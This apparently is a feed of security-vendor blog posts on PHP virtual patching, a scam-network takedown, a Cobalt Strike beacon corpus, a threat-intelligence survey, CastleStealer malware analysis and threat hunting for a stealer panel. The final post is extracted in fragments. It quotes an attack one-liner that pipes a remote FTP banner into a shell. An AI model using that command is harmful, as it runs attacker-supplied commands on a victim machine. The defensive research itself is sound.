But here’s the challenge: As soon as patches for vulnerabilities are available, attackers will reverse engineer the patch, locate the root flaw, and target them in near real time. It simply takes too long to apply patches to every system. This vulnerability deluge demands urgency and new technologies, such as virtual patching, are needed.
Given the unprecedented speed at which new, critical vulnerabilities are being found with frontier AI, organizations need the ability to understand their true exposure at a moment’s notice. Attack surface management solutions have never been more critical for finding these blind spots across your entire codebase and supply chain. You can’t protect what you can’t see.
Additionally, services like Unit 42 Continuous Frontier AI Defense put defender-grade AI models in the hands of defenders to find and fix vulnerabilities before attackers can weaponize them.
You have to reduce what is reachable by attackers. You can't instantly patch everything everywhere, so prioritize what needs to be fixed first based on attack-path reachability. Secure what must be accessible to the public internet, and evaluate your environments to understand which of those exposed PHP instances carry the most immediate risk. For example, Cortex Xpanse and exposure management are great tools for determining reachability and automating remediation.
While not the main focus for these PHP vulnerabilities, rapid deployment of AI across organizations is expanding the attack surface. All AI deployments must be secure AI deployments.
While you coordinate patching with your development teams, ensure best-in-class protections are in place to block the actual exploits. Mitigate against potential attacks immediately through proactive virtual patching and reducing overall exposure. Deploying high-fidelity virtual patches across your network and cloud security provides the mitigation layer necessary to give your teams the time they need to update the actual software safely.
Our new Frontier Virtual Patching capability delivered preemptive coverage for these PHP vulnerabilities ahead of today’s public disclosure. Additionally, Palo Alto Networks customers are protected from exploitation of these vulnerabilities by Advanced Threat Prevention available on our next-generation firewalls and Prisma Access.
Autonomous AI-driven attacks will drive attack lifecycles to minutes requiring every SOC to achieve single-digit mean time to detect (MTTD) and mean time to respond (MTTR).
This isn’t a one-and-done situation. With frontier AI compressing the patch-to-exploit window to minutes, assessing exposure, prioritizing reachability, mitigating and ensuring attack protections must become a continuous, automated motion.
This is a pivotal moment. While the scale of the challenge presented by frontier AI is real, I’m confident in our ability to solve it. Take the steps to secure your organization today, and build the foundation needed to ensure the advantage remains with the defender.
When frontier AI models accelerate both vulnerability discovery and reverse-engineering of patches, traditional remediation creates an unavoidable window of exposure. Get started with Frontier Virtual Patching in Advanced Threat Prevention Plus to solve this structural delay.
Get Started
The post Millions of PHP Instances Exposed - What Organizations Need To Do Right Now appeared first on Palo Alto Networks Blog.
Table Of ContentsMore than 3.7 million fraudulent online accounts removed. Twenty-eight arrests across Ghana and Nigeria. More than $11 million in potentially freezable funds identified. And 117 human trafficking victims identified.
These were among the results of Joint Disruption Week, an international operation targeting criminal networks responsible for online fraud, including cryptocurrency investment scams, impersonation schemes, and financial extortion.
“Transnational criminal scam networks operating from West Africa suffered major disruptions last week during a coordinated international ‘Joint Disruption Week,’ an effort that produced arrests, seizures, and the largest-ever takedown of fraudulent social media accounts linked to scam centers in the region.”
Department of Justice
Hosted by the UK’s National Crime Agency (NCA) in London during the week beginning October 6, 2026, Joint Disruption Week brought together investigators from the DOJ, FBI, U.S. Secret Service, Homeland Security Investigations, and international law enforcement agencies, alongside private-sector organizations including Flashpoint.
Throughout the week, participants exchanged real-time intelligence and developed investigative leads to support enforcement actions in Ghana and Nigeria, as well as the disruption of online accounts and infrastructure used by scam networks.
The operation targeted criminal organizations whose activities extend across borders and online platforms. According to the DOJ, scam centers operating in West Africa share characteristics with those previously identified in Southeast Asia, including organized recruitment, training in social engineering techniques, and coordinated fraud campaigns targeting victims internationally. Some operations also involve human trafficking, with individuals coerced into participating in fraudulent activities.
By bringing together law enforcement and private-sector capabilities, Joint Disruption Week targeted both the infrastructure used to perpetrate fraud and the individuals behind these schemes.
The coordinated effort produced results across criminal investigations, financial intelligence, and online infrastructure disruption.
According to the DOJ:
The figures illustrate the reach of these operations. Millions of accounts can support criminal activity across multiple platforms, while the individuals directing those activities may be operating thousands of miles from their intended victims.
The arrests and account removals represent different aspects of the same challenge: identifying the individuals behind criminal operations while disrupting the infrastructure they use to reach victims.
Online scam networks can operate across social media platforms, messaging services, and financial systems, with evidence of criminal activity spread across multiple organizations and jurisdictions. Investigations often depend on connecting information from these different sources to identify the actors involved and the infrastructure supporting their operations.
During Joint Disruption Week, private-sector partners contributed by removing fraudulent accounts, identifying potentially recoverable funds, and sharing investigative leads with law enforcement.
Flashpoint was among the organizations specifically recognized by the DOJ for participating in the operation, alongside Meta, Microsoft, Google, OpenAI, Coinbase, Binance, Chainalysis, Elliptic, TRM Labs, and others. For threat intelligence teams, operations like this highlight the value of identifying criminal actors, understanding how their operations are structured, and connecting activity across disparate sources to support investigative action.
“These scam networks operate like businesses, investing in infrastructure, recruiting people, and developing increasingly sophisticated ways to defraud victims at scale. To meaningfully disrupt them, we have to go after the economics of their operations, making it more costly and difficult to recruit, reach victims, and move illicit funds. The more pressure we put on those operations, the harder it becomes for the criminals behind them to sustain and expand their activities.”
Josh LefkowitzCEO, Flashpoint
Together, the arrests, account removals, and financial investigations demonstrate how coordinated efforts can target multiple components of criminal operations, from the infrastructure used to perpetrate fraud to the individuals responsible.
Joint Disruption Week marked the first coordinated international operation focused specifically on West African scam networks, according to the DOJ.
The arrests, infrastructure disruptions, and investigative leads generated during the operation represent progress against criminal organizations responsible for large-scale financial fraud and human exploitation.
Flashpoint continues to support efforts to identify and disrupt criminal activity through primary source intelligence that helps investigators understand emerging threats and the networks behind them.
For additional information on the operation and its results, read the full Department of Justice announcement.
The post Inside Joint Disruption Week: 28 Arrests and 3.7 Million Scam Accounts Removed appeared first on Flashpoint.
Authors: Yun Zheng Hu
Today Fox-IT is publicly releasing its full Cobalt Strike Beacon Corpus, containing 56,843 raw beacons and their parsed configurations, from 190,182 sightings collected from 30,604 unique IP addresses running a Team Server (the Cobalt Strike command-and-control server that beacons connect back to) between 4 July 2018 and 29 September 2026, over eight years of beacon data. The corpus is available on Hugging Face: https://huggingface.co/datasets/fox-srt/cobaltstrike-beacon-corpus
Back in March 2022 we published Mining Data from Cobalt Strike Beacons. That post covered 128,340 beacon sightings collected from July 2018 to February 2022, and it introduced our Python project dissect.cobaltstrike for parsing them.
Since then, public scanning for Team Servers has become routine, and Cobalt Strike has shipped versions 4.6 through 4.13. Researchers have regularly asked us for an updated dataset. And here it is, a large, consistent, long-running dataset for the infosec community to build on. The corpus includes the raw beacon payloads, not just our parsed output, so anyone can reproduce our results or improve on them.
We also see publishing this corpus as an act of preservation. C2 infrastructure is short-lived, as the median Team Server is reachable for just 14 days, and the beacons it serves vanish with it. Eight years of collection captures things that can no longer be observed today, like the waves of cracked 4.0 builds or the adoption of leaked versions. By publishing the raw beacons alongside the parsed data, we keep that record available for anyone to study, long after the servers themselves are gone.
The corpus is published on Hugging Face as two Parquet files:
| File | Size | Rows | Contents |
|---|---|---|---|
| beacons.parquet | 52 MB | 190,182 | Every sighting of a beacon, with collection metadata, network context and the parsed beacon configuration. |
| payloads.parquet | 9.7 GB | 56,843 | The raw beacon payloads, wrapped in CaRT as an extra safety layer so the samples are neutered until you deliberately unpack them. |
All beacons were downloaded directly from internet-facing Team Servers, mostly on TCP ports 80 and 443 (HTTP and HTTPS) and UDP port 53 (DNS), with a small number on other ports. We deliberately didn’t include samples from other sources such as VirusTotal, so the corpus reflects the Cobalt Strike landscape as it was visible on the internet.
The collection method matches our 2022 post. We fingerprint likely Team Servers on the internet, then request a beacon payload from each one using a URI that passes Cobalt Strike’s checksum8 check. Every beacon that comes back is parsed with dissect.cobaltstrike, which decodes the configuration block. The result is stored as a sighting.
dissect.cobaltstrike to parse the beacon and export the configurationNote that there might be some small gaps in the collection due to automation issues that we did not catch in time.
Most research only needs the beacons.parquet dataset. The payloads.parquet dataset containing raw beacon payloads is only required if you want to re-parse the beacons or look into the ones that failed parsing.
I’m a big fan of DuckDB (and SQLite), and over time I’ve become fond of SQL for querying data as well. DuckDB is very fast, and AI assistants are very good at writing SQL queries. These days, that beats hand-writing pandas code and the matching matplotlib charts. That’s why I recommend exploring the data with DuckDB, for example in a Jupyter notebook.
An example of using DuckDB to query the dataset on Hugging Face directly:
SELECT watermark,
count(*) AS sightings,
count(DISTINCT collected_from_ip) AS servers,
min(collected_on) AS first_seen,
max(collected_on) AS last_seen
FROM 'hf://datasets/fox-srt/cobaltstrike-beacon-corpus/data/beacons.parquet'
GROUP BY watermark
ORDER BY sightings DESC
LIMIT 20;
Take a look at our Jupyter notebook in the Hugging Face repository as a starting point. It contains every query and chart from the sections below, so you can rerun them or adapt them to your own research questions.
Here are a few quick results to show what the corpus can answer. They’re a starting point, not a full analysis. As with our 2022 post, we invite researchers to explore the data; see also “Research ideas” below.
Each Cobalt Strike release takes over from the last, but old versions linger. Cobalt Strike 4.0 dominated most of 2020, 4.1–4.2 drove the early 2021 peak of about 3,000 beacons a month, 4.3–4.4 led from mid-2021 through 2022, and 4.5–4.8 took over in 2023. Since 2024, 4.9 and 4.5–4.8 have shared the lead, while 4.10+ remains a small share. Volume has since dropped to around 200 beacons a month, partly because fewer servers stage their beacon, which brings us to the next graph.
Our collection relies on beacon staging, meaning a Team Server can serve its beacon as a downloadable payload to anyone who requests the right URI or DNS record. Operators can turn this off (the host_stage option in the Malleable C2 profile), and disabling it is common OPSEC advice. To measure how much this affects our beacon collection, we counted two numbers per month:
These are monthly totals, not a server-by-server match. On average, the Team Servers that handed out a beacon were only about 32% of those we fingerprinted, and that share has drifted down from around 40% in 2023 to 20–25% in 2026. In other words, because not every server hands out a beacon, the corpus shows only part of the Cobalt Strike landscape, and that part is getting smaller. Disabled beacon staging is the most likely reason, but not the only one. Servers can go offline between fingerprinting and download or block our scanners, and our fingerprint doesn’t catch every Team Server.
The dashed sections mark months when beacon collection wasn’t running, because of an automation error that went unnoticed for a while.
The median Team Server was reachable for 14 days. 35% were seen on a single day only, just 14% were still serving a beacon after three months, and only 2% after a year.
We identify a Team Server by its public key and C2 domains from the beacon configuration (or its IP address when the configuration contains no domains), so a server that moves to a new IP is still counted once. This allows us to measure how long a Team Server typically stays online. Identifying servers by public key alone or by ip:port gives almost the same result, a median lifetime of 14–15 days. These are first-to-last-sighting spans, so a server may have been online before our first and after our last sighting. Servers still active in the last 30 days are left out.
Most public scanning focuses only on HTTP(S) beacons, but we’ve also collected DNS beacons since 2020 (apart from the months when our automation broke). DNS beacons have declined much less steeply than HTTP(S) ones, perhaps because they get far less attention in public research and OPSEC advice, so fewer operators think to lock them down. After a peak in 2022, they have mostly hovered around 100 a month since 2024, with a median of 120 over the whole period.
The corpus also includes 128 unique beacons (0.23%) that we downloaded but couldn’t parse. Note that the corpus doesn’t contain HTML pages or other responses that were unlikely to be a beacon. We excluded those before publishing. At first glance, most are beacons with custom modifications that dissect.cobaltstrike can’t parse yet. And some payloads from the early years aren’t Cobalt Strike at all, but Metasploit Meterpreter payloads. We’ve deliberately left them in for researchers to analyse. You can find all unparsed beacons with: WHERE config_json IS NULL
The unparsed count used to be higher, but we managed to bring that down. We noticed some operators customised their beacon configs, for example by shuffling the order of the configuration settings or changing their type values, which broke our parser (and probably most others). The corpus helped us find these cases, so we made the config scanning of dissect.cobaltstrike independent of layout and added many other features and fixes along the way. See the dissect.cobaltstrike v1.3.0 release notes.
Some other research questions that could be answered using the corpus:
dissect.cobaltstrike. Figure out why.Eight years of Cobalt Strike beacons are now one download away on Hugging Face. Run your own queries, pick up one of the research ideas above or come up with your own, dig into the beacons we couldn’t parse, and share what you find.
Before you start, read the Limitations section on the dataset card. The raw payloads are real Cobalt Strike beacons, so handle them like any other malware sample.
Table Of ContentsThreat intelligence teams are heading into 2027 with more than ever to monitor, driven by an acceleration in the AI threat landscape. However, their expanded mandate typically doesn’t come with a proportional budget windfall. Instead, teams are under pressure to get greater value from the intelligence, systems, and analyst expertise already available to them.
New independent research commissioned by Flashpoint shows where that pressure is being felt most. Alert noise and false positives are the most frequently cited challenges affecting threat intelligence program effectiveness, followed by analyst bandwidth, changes in the threat landscape, and integration across security tools. At the same time, AI-related threats have emerged as the leading area where practitioners want to expand intelligence coverage.
These findings point to some of the decisions that will shape threat intelligence programs in the year ahead: where to focus finite analyst capacity, how intelligence requirements need to evolve, and where AI can meaningfully support the work. Organizations are already evaluating agentic AI across threat intelligence workflows, but the research also shows that greater autonomy comes with higher expectations around accuracy, control, and measurable value.
For security leaders planning their 2027 threat intelligence strategy and budgets, this report examines:
Together, the findings provide a practical benchmark for teams evaluating their own intelligence operations: where to focus limited analyst time, where automation may have the greatest impact, and what to measure as AI becomes part of the workflow.
As threat intelligence teams plan for 2027, the research shows them managing two simultaneous pressures: intelligence requirements are expanding, while the capacity available to address them remains constrained. AI is intensifying that pressure as adversaries adopt new capabilities, but also becoming part of how organizations are thinking about scaling their ability to defend their organizations.
“2027 will test whether threat intelligence programs can scale their reach as fast as AI is reshaping the threat landscape. The opportunity for agentic AI on the defensive side is significant, and our research shows security leaders are ready to invest. But they aren’t swayed by the hype. They’re holding agentic AI to a high bar, and they want to know where it improves their work, whether they can trust the output, and where human judgment must remain part of the process.”
Josh Lefkowitz
Co-Founder and CEO, Flashpoint
Four findings stand out:
Taken together, the findings show where threat intelligence teams are feeling the greatest pressure, where they see opportunities to extend their capabilities with AI, and what will determine whether those tools earn a lasting place in the intelligence workflow. The sections that follow examine each of these findings in greater detail and what they mean for threat intelligence programs.
The rising AI threat landscape is increasing pressure on organizations to get more capacity from the people and systems they already have. Threat intelligence leaders therefore say the biggest barriers to program effectiveness are operational: too much noise, limited analyst bandwidth, and disconnected tools.
Alert noise and false positives emerged as the leading challenge affecting threat intelligence programs, cited by 65% of respondents. Analyst bandwidth followed at 55%, while half of respondents pointed to both the evolving threat landscape and integration gaps across their security tools.
The impact of these challenges becomes clearer at the workflow level. One healthcare practitioner described receiving alerts about email breaches that were seven or eight years old, with the same data resurfacing each time it was resold and requiring another investigation. Practitioners also described manual steps between intelligence feeds, SIEMs, SOAR platforms, ticketing systems, and response workflows.
Each unnecessary investigation or manual handoff consumes time that could otherwise go toward analysis. That becomes difficult to solve through hiring alone because threat intelligence expertise takes time to develop. As one healthcare threat intelligence leader explained:
“Good analysts take time to develop and train, and we can’t hire our way out of that problem.”
The research suggests an opportunity to look for capacity within the intelligence workflow itself. Reducing repetitive investigations, improving integration between systems, and helping analysts identify relevant intelligence faster can return more of their time to work that depends on context and judgment.
The rise of AI-driven threats is driving increases in the intelligence budgets of many organizations. Among respondents who provided a budget outlook, 50% expect their threat intelligence budgets to increase over the next 12 months, while the remaining 40% expect budgets to stay essentially flat. None anticipate a decrease.
More than a third (35%) expect meaningful growth of at least 10%, suggesting that for many organizations, threat intelligence remains an area of active investment heading into 2027.
Where organizations are increasing investment is equally important. Respondents expecting meaningful growth described spending on AI defense capabilities, expanded threat intelligence feeds and modules, and broader program development. AI-related threat coverage also emerged across both flat and growing budgets as the most frequently cited area where teams want to expand coverage.
For teams heading into 2027, the findings suggest that the question is increasingly where to direct threat intelligence investment for the greatest impact. Organizations are evaluating how existing resources can address new intelligence requirements, where additional capabilities are needed, and which investments can demonstrate clear operational value.
As organizations decide where to focus threat intelligence investment in the year ahead, AI is the clear priority. AI-related threats were the most frequently cited area where organizations want to expand intelligence coverage, including among teams with relatively flat budgets. Practitioners specifically pointed to deepfake detection, AI-accelerated vulnerability exploitation, and emerging AI-enabled threat vectors.
These priorities reflect activity already visible across the threat landscape. During the first half of 2026, Flashpoint tracked more than 22 million threat actor posts discussing, sharing, or advertising AI toolkits for criminal deployment. Flashpoint analysts observed AI being used across phishing, malware development, evasion, and vulnerability exploitation.
For threat intelligence teams, expanding AI coverage requires more specificity than treating “AI threats” as a single monitoring category. Deepfakes may matter because of executive impersonation or fraud. AI-accelerated exploitation may change vulnerability monitoring and prioritization. New attack tooling may affect the adversaries or TTPs a team already tracks.
The challenge extends beyond visibility into these threats. Organizations also need the expertise to understand how AI is changing adversary behavior and attack chains. That expertise is still developing. As one practitioner put it, “everybody’s learning it at the same time.”
Connecting those developments to existing PIRs and business risks gives analysts clearer collection priorities and helps teams determine what new sources, expertise, and monitoring they actually need.
Those requirements are also expanding at a time when analyst bandwidth is already constrained, creating a second question for threat intelligence leaders: where can AI support the intelligence workflow itself?
Nearly half of the organizations interviewed are already using or piloting agentic AI in threat intelligence workflows, while another 35% are planning adoption within the next 12 to 24 months. That makes agentic AI an important part of 2027 planning, but despite the attention surrounding it, threat intelligence teams are taking a measured approach. They are looking for clear business value, evidence that AI can maintain the quality of their intelligence workflows, and appropriate human oversight as agents take on more consequential tasks.
The work being handed to agents already varies considerably, from information retrieval and alert prioritization to more active tasks such as blocking IP addresses, updating blacklists, and monitoring suspicious traffic. Organizations in the pilot stage also described use cases spanning detection, validation, context generation, SIEM alert analysis, TIP querying, MITRE ATT&CK mapping, and reversible response actions.
As agents move from retrieving and analyzing information to taking actions that can directly affect security operations, accuracy and trust become increasingly important. One respondent captured the concern succinctly:
“An agent that’s confidently wrong is worse than one that’s slow.”
That concern is reflected across the research. Practitioners raised questions around data leakage, auditability, regulatory requirements, cost, and the level of control agents should have over security workflows. One retail respondent, for example, would only consider read-only AI assistants because of the risks associated with granting agents write permissions.
For teams evaluating agentic AI, that makes the workflow itself an important part of the decision. Tasks with reviewable outputs, reversible actions, and clear success criteria provide a practical starting point. As autonomy increases, teams need equally clear controls around what an agent can access, what it can change, where human approval is required, and how its actions are audited.
As threat intelligence leaders plan for 2027, the research points to a clear set of priorities. Teams have more to monitor, limited analyst capacity, and growing interest in AI as a way to scale the work their programs already perform.
The findings also show that practitioners are selective about where they see that value. PIR coverage monitoring and intelligence briefings can extend coverage and reduce recurring work while keeping analysts involved in the intelligence process. As agents take on more consequential actions, questions around accuracy, permissions, auditability, and human oversight become more important.
For teams setting priorities for the year ahead, that creates a practical path forward: understand where analyst capacity is being consumed, connect new intelligence requirements to the risks that matter to the organization, identify workflows where automation can meaningfully extend the team, and establish clear measures of success before deployment.
The challenge for 2027 will be turning expanding intelligence requirements into an operating model that can scale for threat intelligence programs. That means making better use of existing data, systems, and analyst expertise while being deliberate about where agentic AI can extend those capabilities and where human judgment remains essential.
Flashpoint commissioned independent qualitative research among a select group of more than 20 threat intelligence budget owners and influencers at large North American enterprises across financial services and insurance, healthcare and biotech, retail, and information technology and telecommunications during the early fall of 2026.
The post The Enterprise Threat Intelligence Report: 2026 appeared first on Flashpoint.
Table Of ContentsFirst discovered in April 2026, CastleStealer is a C#-based information-stealing malware that has continued to add new capabilities since its emergence. Newer samples analyzed by Flashpoint can bypass app-bound encryption in Chromium-based browsers, execute commands remotely, and exfiltrate stolen information in small encrypted transmissions rather than a single large archive.
While Flashpoint has not yet identified a large influx of threat actors using CastleStealer, its continued development makes it an emerging threat worth watching.
CastleStealer was first publicly identified in April 2026, when it was observed using ClickFix social engineering to deliver a Python script that executed a loader referred to as “CastleLoader.”
By June, the malware had appeared in a different distribution campaign. Threat actors used malicious advertisements to direct victims to fake Node.js installation websites, where a batch script masquerading as an installer ultimately downloaded and executed a newer loader known as OXLOADER.
OXLOADER employs several techniques designed to make analysis and detection more difficult, including multiple rounds of self-decryption, obfuscated API resolution, sandbox checks, and in-memory execution. Flashpoint analysts assess that the loaders used to deliver CastleStealer appear to be developed in-house and demonstrate significant technical ability around anti-analysis and stealth.
But the delivery chain is only one part of CastleStealer’s evolution. Newer samples show that the infostealer itself has continued to expand what it can collect and what threat actors can do after a system is compromised.
Once executed, CastleStealer first checks the system’s Multilingual User Interface (MUI) languages for Russian (ru-RU). It then connects to its command-and-control (C2) infrastructure and sends a handshake packet containing its build UUID and basic information about the infected host. After establishing the connection, it gathers additional information about the victim machine and sends it to the C2.
From there, CastleStealer begins searching for sensitive information across browsers, applications, and files on the victim’s system.
For Chromium-based browsers, CastleStealer collects login data, cookies, browsing history, web data, and information stored by browser extensions. That includes extension IDs, IndexedDB data, and extension storage.
The malware also targets:
That browser targeting has also become more capable since CastleStealer was first discovered.
One of the clearest examples of CastleStealer’s evolution is its ability to target data protected by newer browser security controls.
Earlier analysis found that CastleStealer could not steal data from updated browsers using app-bound encryption. Newer samples analyzed by Flashpoint now use Chrome’s IElevator COM interface to bypass that protection, a technique also used by other modern infostealers.
The change closes a meaningful limitation present in earlier CastleStealer samples and expands the browser data available to the malware.
Newer CastleStealer samples also give threat actors capabilities beyond stealing information from an infected machine.
CastleStealer contains basic remote shell functionality that allows an operator to send a shell command to the victim system, provide a file for execution, or send the URL of another payload that CastleStealer will download and execute.
That capability gives an attacker additional options after the initial compromise. Instead of ending the operation once targeted information has been collected, an operator can interact with the infected system and introduce additional payloads.
CastleStealer also differs from many other infostealers in how it sends stolen information back to its operators.
Rather than collecting stolen data into an archive and transmitting it to a C2 server or Telegram channel, CastleStealer sends smaller amounts of collected data over raw TCP. The transmissions are encrypted using AES.
Flashpoint analysts assess that transmitting data this way may help CastleStealer avoid network detections associated with a single spike caused by a large data transfer.
The network packets follow a straightforward structure:
{4-byte size} → {AES IV} → {Encrypted Data}
Once CastleStealer completes its activity, it deletes itself using a common ping-delay self-deletion technique.
CastleStealer’s development since its discovery illustrates how quickly an emerging infostealer can mature. Its operators have changed how the malware reaches victims, while the stealer itself has gained the ability to bypass browser protections, remotely execute commands and additional payloads, and exfiltrate stolen data in smaller encrypted transmissions.
CastleStealer has not yet seen the widespread adoption associated with more established infostealer families. But its trajectory makes it one to watch as its developers continue to improve both its collection capabilities and what operators can do after compromising a victim.
Flashpoint continuously monitors emerging malware, illicit communities, and threat actor infrastructure to identify these shifts as they happen. Request a demo to learn how Flashpoint’s primary source intelligence and analyst research help security teams identify emerging threats and respond before they become widespread.
The post CastleStealer: An Emerging Infostealer Growing More Sophisticated appeared first on Flashpoint.
Table Of ContentsIn today’s threat landscape, speed and actionable context are critical. When a high-priority threat emerges, pairing best-in-class threat intelligence data with hyper-responsive human expertise ensures organizations can act immediately and with confidence. To turn raw threat data into actionable defense, Flashpoint unites unmatched primary source collection, cutting-edge AI features, and over 100 analysts fluent in more than 35 languages—ensuring organizations receive localized context, rapid analysis, and long-lasting strategic value.
Flashpoint Customer Success & Support (CS) consistently delivers industry-leading responsiveness and resolution speed. Driven by strict internal Service Level Objectives (SLOs), our metrics showcase our commitment to our customer’s operational success:
*CSAT and Time to Solve figures are based on real customer inputs from January 1, 2026 to September 2026.
I work with 16 vendors and Flashpoint support is the best by far.
VP of Threat Intelligence Data & EngineeringMajor Financial Services Client
This commitment to responsiveness is why we were honored to recently be named a Customer Favorite in The Forrester Wave: External Threat Intelligence Service Providers, Q3 2026 report, where Forrester specifically noted that “customers laud Flashpoint’s white-glove approach to addressing diverse customer needs.”
But what does top-level service look like behind the scenes?
Here is a look at how Flashpoint CS operates as an extension of our customers’ security operations.
Unlike traditional CS models that limit you to a single point of contact, customers are supported by Flashpoint’s entire team of Customer Success Managers (CSM) experts. Our team is comprised of former intelligence operators and seasoned practitioners whose collective experience spans decades across critical industries and sectors, including:
Flashpoint customers are paired with a dedicated CSM who can seamlessly draw on our broader team of industry specialists. Flashpoint customers gain speedy, highly knowledgeable insights without bottlenecks. This model provides organizations with timely responses for any urgent specific sector threats, with our CS teams bringing in practitioners who have direct, real-world experience in that field.
“Flashpoint has been instrumental in supporting Threat Intelligence engagements.
Major Finance and Risk Firm
We’ve seen a significant increase in ransomware-related data exposure cases, and Flashpoint’s responsiveness and quick turnaround times have been invaluable in helping us address these matters. We appreciate the partnership and support the CS team has provided.”
In addition to traditional support, Flashpoint’s CS team also support clients with:
“Thanks to the team for all of the support throughout the evaluation and onboarding process. Everyone was responsive, engaged, and worked closely with us to ensure we had the information and guidance needed to make informed decisions and get the platform operational quickly.”
Major Financial Services Client
Flashpoint is a customer-first intelligence provider; we turn customer feedback into action. Our CS teams serve as the direct voice of the customer, taking feature requests and quality-of-life updates to Flashpoint Ignite product managers and engineers to help shape product roadmaps.
Real-world examples of how customer feedback directly drives platform enhancements include:
Powerful intelligence technology is only half the equation—unmatched operational support is what drives long-term success. Customer feedback reinforces our belief that Flashpoint’s recognition as a Forrester “Customer Favorite” mirrors our commitment to pairing world-class threat data with exceptional service. Request a demo and see how the combination of best-in-class data and unparalleled customer service strengthens your security operations to maximize your threat intelligence investment.
Forrester does not endorse any company, product, brand, or service included in its research publications and does not advise any person to select the products or services of any company or brand based on the ratings included in such publications. Information is based on the best available resources. Opinions reflect judgment at the time and are subject to change. This report is part of a broader collection of Forrester resources, including interactive models, frameworks, tools, data, and access to analyst guidance. For more information, read about Forrester’s objectivity here.
The post Beyond Support: How Flashpoint Redefines the Customer Success Experience appeared first on Flashpoint.
| Field | What it tells you |
|---|---|
| Status | open, closed or recently closed. Updated daily. |
| First seen / Open since / Last seen open | When we first saw the port, since when it has been open without interruption, and the last day we saw it open. |
| Protocol, product and version | The service identified on the port, e.g. ssh / OpenSSH / 9.6p1 Ubuntu 3ubuntu13.19. |
| CPEs | Standard CPE identifiers for the product, useful to map the service to known vulnerabilities. |
| Banner | The raw banner returned by the service. |
| OS and device type | Operating system or device class inferred from the service (Linux, Windows, router, firewall...). |
| Fingerprints | SSH host key fingerprints and RDP fingerprints. |
| Protocol details | HTTP status line and response headers, SMTP capabilities, IMAP/POP3 capabilities and similar protocol-specific output. |
entity:ip plus the new modifiers:| Modifier | Example | Matches |
|---|---|---|
port |
entity:ip port:3389 |
IPs with any information on that port |
open_port / closed_port |
entity:ip open_port:22 |
IPs where the port is currently open / closed |
port_status |
entity:ip port_status:open |
Filter by port status |
port_protocol |
entity:ip port_protocol:ssh |
Protocol running on the port |
port_service_product |
entity:ip port_service_product:openssh |
Product name |
port_service_version |
entity:ip port_service_version:8.2p1 |
Product version |
port_service_cpe |
entity:ip port_service_cpe:"cpe:/o:linux:linux_kernel" |
CPE identifier |
port_banner |
entity:ip port_banner:mikrotik |
Text inside the service banner |
os_type / device_type |
entity:ip device_type:router |
Detected OS / device class |
fingerprint |
entity:ip fingerprint:"SHA256:..." |
SSH or RDP fingerprint |
port_service_product:nginx port_service_version:1.24.0 would match even if nginx lives on one port and version 1.24.0 belongs to something else on another. Putting the port in brackets pins every condition to the same service:entity:ip port_service_product[80]:nginx port_service_version[80]:1.24.0
entity:ip os_type[445]:Windows
entity:ip port_banner[21]:mikrotik
entity:ip port_service_cpe[22]:"cpe:/o:linux:linux_kernel"
port_banner, port_protocol, port_service_product, port_service_version, port_service_cpe, os_type, device_type and fingerprint. And since these are regular modifiers, you can combine them with everything you already use for IPs: asn, country, ssl_subject, jarm, threat_actor, collection, have and so on.entity:ip open_port:50050 (Cobalt Strike's default team server port) returned more than 1.5 million IPs. A quick look at the results explains why: many of those hosts answer on every port we probe, including 4444, 5552, 6606 or 8808 at the same time. entity:ip fingerprint:"SHA256:SbF6+nFx6ngfUw2L+jsqN6uu5tdsFc5jUW849WA/Sxw"
| IP | Hosting | Detections | Collections |
|---|---|---|---|
| 91.219.237[.]110 | ServerAstra (HU) | 3 | APT28, Havoc |
| 185.146.232[.]3 | FlokiNET (IS) | 0 | none |
b4ck.my. entity:ip ssl_subject:"b4ck.my"
entity:ip ssl_subject:"b4ck.my" port_service_version[22]:"9.6p1 Ubuntu 3ubuntu13.19"
entity:url tag:ns-port tag:password-input tag:ip
tag:ip restricts results to URLs hosted on a literal IP address, tag:ns-port filters for non-standard ports, and tag:password-input requires a password field in the rendered DOM.https://5.175.221[.]206:8443/. On vendor detections alone, it looks harmless (1/96 detections) on the scan made by September 24, 2026. However, the screenshot captured in the URL report tells a very different story: title:"NOX STEALER - Login"), describing itself in its meta tags as a "Lightweight C++ infostealer with automated worm features".entity:url title:"NOX STEALER"), we find 15 URLs across two sibling domains (grabber[.]cy and lumma[.]cy, the latter linked to dozens of trojan.lumma payloads). 5.175.221[.]206, however, the operator exposed the panel directly on the machine. Clicking from the URL report to the host's Ports tab reveals the complete stack behind that login screen: | Port | Status | What the scanner captured |
|---|---|---|
| 8443 | open |
HTTPS (nginx 1.24.0, PHP/8.3.33) serving the NOX Stealer login panel |
| 445 | open |
SMB on Windows Server 2022 (os_type: 10.0.20348), NetBIOS host WIN-BM6C4ESB87V |
| 3389 | open |
RDP (Microsoft Terminal Services, Windows Server 2016/2019 fingerprint) |
| 80 | recently closed |
HTTP (last seen open 2026-09-24, returning 308 Permanent Redirect to HTTPS) |
nginx 1.24.0 and PHP on port 8443.entity:ip open_port:8443 alone returns 4.5 million IPs, and entity:ip port_service_product[8443]:nginx still returns over 345,000. But by combining the web stack on port 8443 with the Windows build on port 445 using the bracket syntax, we cut those 4.5 million hosts down to just 10 IPs globally:entity:ip port_service_product[8443]:nginx port_service_cpe[8443]:php os_type[445]:10.0.20348 open_port:445 open_port:3389
https://5.175.221[.]206:8443/ was re-analyzed—and we caught the operator rebranding the panel in place from NOX Stealer to BOMBAY Stealer: 11,408-byte HTML login page directly, indexing title:"NOX STEALER - Login". In the new scan, the raw HTTP response shrank to a 193-byte stub carrying only <meta name="robots" content="noindex">, leaving the static title attribute empty. Full-browser execution, however, rendered the page and captured the new <title> in the DOM: BOMBAY STEALER - Login (with og:title and og:site_name updated to BOMBAY STEALER).<meta name="description"> in the rendered DOM now advertises "currently the top #1 infostealer on the market. register an account today and get 1 month access for free. entirely programmed in C. no digital footprints being stored on our servers"—even though the visible subtitle on the login card still reads "Lightweight, C++-native infostealer with automated worm propagation" word for word. Under the hood, the Tailwind CSS theme (#a855f7 / #030308), the panel_jwt session logic, and the MD5-prefixed routes (rotated from /29f69693228c27033209532b5a6a97d1/... to /3a85f1d2131fa2723ac6ade171eafacd/dashboard and /register) are identical.title:"NOX STEALER". Yet the machine on 5.175.221[.]206 didn't change a single exposed service: nginx 1.24.0 and PHP/8.3.33 on port 8443, Windows Server 2022 (10.0.20348) on port 445, and RDP on port 3389 remain untouched.ftp <ip> | cmd, the FTP client prints the server's welcome banner, and the pipe hands that banner straight to a shell. The command never lives in the shortcut, it lives in the banner. The two clusters they tracked ended up delivering two new RATs, E4del and PINHOLE.entity:ip port_banner[21]:"conhost"
